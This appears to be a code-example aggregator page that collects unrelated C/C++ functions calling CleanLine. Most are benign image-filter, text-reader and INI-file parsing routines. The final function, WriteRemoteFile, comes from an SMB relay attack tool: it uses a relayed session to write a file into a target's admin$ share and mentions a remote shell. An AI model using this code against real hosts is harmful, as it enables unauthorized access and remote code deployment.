Пример #1
0
static int filtro_gestos_clean(lua_State *L)
{
 dato_t *in = (filtro_gestos_in_imagen_t *)lua_touserdata(L, 1);
 bounds_t *bounds = (bounds_t *)lua_touserdata(L, 2);
 int i;
 for(i=0; i<in->m_alto; i++){
   int mini= min(bounds->si.y,bounds->sd.y);  //Cambio************
   int maxi=max(bounds->ii.y,bounds->id.y);   //Cambio************
   if(i<mini+BORDER || i>maxi-BORDER)
     CleanLine(in,i,0,in->m_ancho,1);
   else
     CleanLine(in,i,bounds->ii.x,bounds->id.x,0);
 }
 // free(bounds);
 return 0;
}
// Reads a line from m_file. Removes comments that are marked with
// a hash ('#', aka the pound sign or indeed the octothorpe) character. 
// Returns 0 on EOF, 1 otherwise
bool TextFileReader::ReadLine()
{
	bool eof = false;
	m_tokenIndex = 0;

	
	//
	// Read some data from the file

	// If fgets returns NULL that means we've found the EOF
	if (fgets(m_line, m_maxLineLen + 1, m_file) == NULL)
	{
		m_line[0] = '\0';
		eof = true;
	}

	
	//
	// Make sure we read a whole line

	bool found = false;
	while (!found && !eof)
	{
		if (strchr(m_line, '\n'))
		{
			found = true;
		}

		if (!found)
		{
			unsigned int oldLineLen = m_maxLineLen;
			DoubleMaxLineLen();
			if (fgets(&m_line[oldLineLen], oldLineLen + 1, m_file) == NULL)
			{
				eof = true;
			}
		}
	}

	CleanLine();	
	m_lineNum++;

	return !eof;
}
Пример #3
0
// Reads a line from a block of text data. Removes comments that are marked with
// a hash ('#', aka the pound sign or indeed the octothorpe) character.
// Returns 0 on EOF, 1 otherwise
bool TextDataReader::ReadLine()
{
    bool eof = false;

    m_tokenIndex = 0;

    // Find the next '\n' character
    unsigned int eolOffset = m_offset;
    for (eolOffset = m_offset; eolOffset < m_dataSize; ++eolOffset)
    {
        if (m_data[eolOffset] == '\n')
        {
            break;
        }
    }
    if (eolOffset == m_dataSize)
    {
        eolOffset--;
        eof = true;
    }

    // Make sure the line buffer is big enough to accomodate our painful length
    unsigned int lineLen = eolOffset - m_offset + 1;
    while (lineLen > m_maxLineLen)
    {
        DoubleMaxLineLen();
    }

    // Copy from the data block into m_line
    memcpy(m_line, &m_data[m_offset], lineLen);
    m_line[lineLen] = '\0';

    // Move m_offset on
    m_offset += lineLen;

    CleanLine();
    m_lineNum++;

    return !eof;
}
Пример #4
0
void CIniFileBase::GetKeyValueData ( LPCTSTR lpSectionName, KeyValueData & List )
{
	CGuard Guard(m_CS);
	if (!m_File.IsOpen())
	{
		return;
	}

	std::string strSection;

	if (lpSectionName == NULL || _tcslen(lpSectionName) == 0)
	{
		strSection = "default";
	}
	else
	{
		strSection = lpSectionName;
	}

	if (!MoveToSectionNameData(strSection.c_str(),false)) { return; }

	int MaxDataSize = 0, DataSize = 0, ReadPos = 0, result;
	char *Input = NULL, *Data = NULL;
	do {
		result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos);
		if (result <= 1) { continue; }
		if (strlen(CleanLine(Input)) <= 1) { continue; }
		if (Input[0] == '[') { break; }
		char * Pos = strchr(Input,'=');
		if (Pos == NULL) { continue; }
		Pos[0] = 0;

		List.insert(KeyValueData::value_type(Input,&Pos[1]));
	} while (result >= 0);
	if (Data) {  delete [] Data;  Data = NULL; }
}
Пример #5
0
bool CIniFileBase::MoveToSectionNameData ( LPCSTR lpSectionName, bool ChangeCurrentSection )
{
	if (strcmp(lpSectionName,m_CurrentSection.c_str()) == 0) 
	{
		return true;
	}
	if (ChangeCurrentSection)
	{
		SaveCurrentSection();
		m_CurrentSection = "";
	}
	
	char *Input = NULL, *Data = NULL;
	int MaxDataSize = 0, DataSize = 0, ReadPos = 0, result;

	FILELOC_ITR iter = m_SectionsPos.find(std::string(lpSectionName));
	bool bFoundSection = false;
	if (iter != m_SectionsPos.end())
	{
		if (ChangeCurrentSection)
		{
			m_CurrentSection = iter->first;
			m_CurrentSectionFilePos = iter->second;
		}
		m_File.Seek(iter->second,CFileBase::begin);
		bFoundSection = true;
	}
	else
	{
		m_File.Seek(m_lastSectionSearch, CFileBase::begin);

		//long Fpos;
		BYTE pUTF8[3];
		pUTF8[0] = 0xef;
		pUTF8[1] = 0xbb;
		pUTF8[2] = 0xbf;

		do {
			result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos);
			if (result <= 1) { continue; }
			if (strlen(CleanLine(Input)) <= 1) { continue; }

			//We Only care about sections
			char * CurrentSection = Input;

			if (m_lastSectionSearch == 0 && !memcmp(CurrentSection, pUTF8, 3))
			{
				CurrentSection += 3;
			}

			if (CurrentSection[0] != '[') { continue; }
			int lineEndPos = (int)strlen(CurrentSection) - 1;  
			if (CurrentSection[lineEndPos] != ']') { continue; }
			//take off the ']' from the end of the string
			CurrentSection[lineEndPos] = 0;
			CurrentSection += 1;
			m_lastSectionSearch = (m_File.GetPosition() - DataSize) + ReadPos;
			m_SectionsPos.insert(FILELOC::value_type(CurrentSection,m_lastSectionSearch));

			if (_stricmp(lpSectionName,CurrentSection) != 0)
			{
				continue;
			}

			if (ChangeCurrentSection)
			{
				m_CurrentSection = lpSectionName;
				m_CurrentSectionFilePos = m_lastSectionSearch;
			}
			else
			{
				m_File.Seek(m_lastSectionSearch,CFileBase::begin);
			}
			bFoundSection = true;
			break;
		} while (result >= 0);
	}

	if (bFoundSection && ChangeCurrentSection)
	{
		m_CurrentSectionData.clear();
		do {
			result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos);
			if (result <= 1) { continue; }
			if (strlen(CleanLine(Input)) <= 1) { continue; }
			if (Input[0] == '[') { break; }
			char * Pos = strchr(Input,'=');
			if (Pos == NULL) { continue; }
			char * Value = &Pos[1];

			char * Pos1 = Pos-1;
			while (((*Pos1 == ' ') || (*Pos1 == '\t')) && (Pos1 > Input))
			{
				Pos1--;
			}
			Pos1[1] = 0;

			m_CurrentSectionData.insert(KeyValueList::value_type(Input,Value));
		} while (result >= 0);
	}

	if (Data) {  delete [] Data;  Data = NULL; }
	return bFoundSection;
}
Пример #6
0
void CIniFileBase::SaveCurrentSection ( void )
{
	if (!m_CurrentSectionDirty)
	{
		return;
	}
	m_CurrentSectionDirty = false;
	if (m_CurrentSection.length() == 0)
	{
		m_CurrentSection = "default";
	}

	int lineFeedLen = (int)strlen(m_LineFeed);

	if (m_CurrentSectionFilePos == -1)
	{
		//Section has not been added yet
		m_File.Seek(0,CFileBase::end);

		int len = (int)m_CurrentSection.length() + (lineFeedLen * 2) + 5;
		AUTO_PTR<char> SectionName(new char[len]);
		if (m_File.GetLength() < (int)strlen(m_LineFeed))
		{
			sprintf(SectionName.get(),"[%s]%s",m_CurrentSection.c_str(),m_LineFeed);
		}
		else
		{
			sprintf(SectionName.get(),"%s[%s]%s",m_LineFeed,m_CurrentSection.c_str(),m_LineFeed);
		}
		m_File.Write(SectionName.get(),(int)strlen(SectionName.get()));
		m_CurrentSectionFilePos = m_File.GetPosition();
		m_SectionsPos.insert(FILELOC::value_type(m_CurrentSection,m_CurrentSectionFilePos));
	}
	else
	{
		//increase/decrease space needed
		int NeededBufferLen = 0;
		{
			AUTO_PTR<char> LineData(NULL);
			int len = 0;

			for (KeyValueList::iterator iter = m_CurrentSectionData.begin(); iter != m_CurrentSectionData.end(); iter++)
			{
				int newLen = (int)iter->first.length() + (int)iter->second.length() + lineFeedLen + 5;
				if (newLen > len)
				{
					LineData.reset(new char[newLen]);
					len = newLen;
				}
				sprintf(LineData.get(),"%s=%s%s",iter->first.c_str(),iter->second.c_str(),m_LineFeed);
				NeededBufferLen += (int)strlen(LineData.get());
			}
		}
		int currentLen = 0;

		m_File.Seek(m_CurrentSectionFilePos, CFileBase::begin);

		int MaxDataSize = 0, DataSize = 0, ReadPos = 0, result;
		char *Input = NULL, *Data = NULL;
	
		//Skip first line as it is the section name
		int StartPos = m_CurrentSectionFilePos;
		int EndPos = StartPos;
		do {
			result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos);
			if (result <= 1) { continue; }
			if (strlen(CleanLine(Input)) <= 1 || Input[0] != '[')
			{
				EndPos = ((m_File.GetPosition() - DataSize) + ReadPos);

				continue; 
			}
			if (Input[0] == '[')
			{
				NeededBufferLen += lineFeedLen;
			}
			break;
		} while (result >= 0);
		currentLen = EndPos - StartPos;

		if (Data) {  delete [] Data;  Data = NULL; }

		if (NeededBufferLen != currentLen)
		{
			fInsertSpaces(StartPos,NeededBufferLen - currentLen);
			m_File.Flush();
			ClearSectionPosList(StartPos);
		}
		//set pointer to beginning of the start pos
		m_File.Seek(StartPos, CFileBase::begin);
	}


	{
		AUTO_PTR<char> LineData(NULL);
		int len = 0;
		
		for (KeyValueList::iterator iter = m_CurrentSectionData.begin(); iter != m_CurrentSectionData.end(); iter++)
		{
			int newLen = (int)iter->first.length() + (int)iter->second.length() + lineFeedLen + 5;
			if (newLen > len)
			{
				LineData.reset(new char[newLen]);
				len = newLen;
			}
			sprintf(LineData.get(),"%s=%s%s",iter->first.c_str(),iter->second.c_str(),m_LineFeed);
			m_File.Write(LineData.get(),(int)strlen(LineData.get()));
		}
	}
	m_File.Flush();
}
Пример #7
0
int WriteRemoteFile(RELAY relay, smheader *buffer, char *lpFileName)
{
	char path[256];
	char buf[64000];
	smheader *packet;
	int i;
	int filesize;
	char *filedata;
	uint16 FID;
	uint16 TreeID;

	sprintf(path,"\\\\%s\\admin$",inet_ntoa(relay.destinationaddr.sin_addr));
	memset(buf,0,sizeof(buf));
    i=BuildTreeConnectAndXStub(buf,"",path,"?????");
	packet=BuildSmbPacket((smheader*)buffer,TREECONNETANDX,0,buf,i);//,(int)strlen(path));
	printf("[+] Trying to connect to admin$\r");
    
	if (debug)
	{
        CleanLine(verbose);
        DumpMem((char*)packet,SmbPacketLen(packet));
	}
    i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
	if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
        CleanLine(verbose);
		printf("[-] Error. Unable to connect to admin$\n");
        return(0);
	}
	TreeID=((smheader*)buf)->TreeId;


	sprintf(path,"\\%s",lpFileName);
	filedata =ReadFileToSend(&filesize,lpFileName);
	if(!filedata)
	{
		CleanLine(verbose);
        printf("[-] Error. Unable to open %s\n",lpFileName);
		return(0);
	}
	packet=BuildSmbPacket((smheader*)buf,NTCREATEANDX,0,path,filesize);
    CleanLine(verbose);
	printf("[+] Creating Remote File %s under admin$\r",lpFileName);
	if (debug)
	{		
        CleanLine(verbose);
		DumpMem((char*)packet,SmbPacketLen(packet));
	}
    i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
	if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
        CleanLine(verbose);
        if ( ((smheader*)buf)->NtStatus == STATUS_SHARING_VIOLATION) {
            printf("[-] Remote File already in use (try to connect to the remote Shell).\n");
            return(1);
        }
		printf("[-] Error. Unable to create file under admin$ (Error 0x%x)\n",((smheader*)buf)->NtStatus);
        return(0);
	}
    memcpy((char*)&FID,((smheader*)buf)->buffer+6,2);
    CleanLine(verbose);
	printf("[+] Writing File %s into admin$ (%i bytes)\r",lpFileName,filesize);
	packet=BuildSmbPacket((smheader*)buf,WRITEANDX,0,filedata,filesize);
	free(filedata);
	
	if (debug)
	{		
        CleanLine(verbose);
        DumpMem((char*)packet,SmbPacketLen(packet));
	}
    i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
	if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){	        
        CleanLine(verbose);
        printf("[-] Error. Unable to Write File.\n");
        return(0);
	}

	packet=BuildSmbPacket((smheader*)buf,SMBCLOSE,0,&FID,2);	
	
	packet->TreeId=TreeID;
	if (verbose)
	{	
        CleanLine(verbose);
        printf("[*] Closing File handle - FID: %2.2x\r",FID);
		if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
	}
    i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
	if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
        CleanLine(verbose);
		printf("[-] Error Closing File Handle\n");
        return(0);
	}
	return(1);

}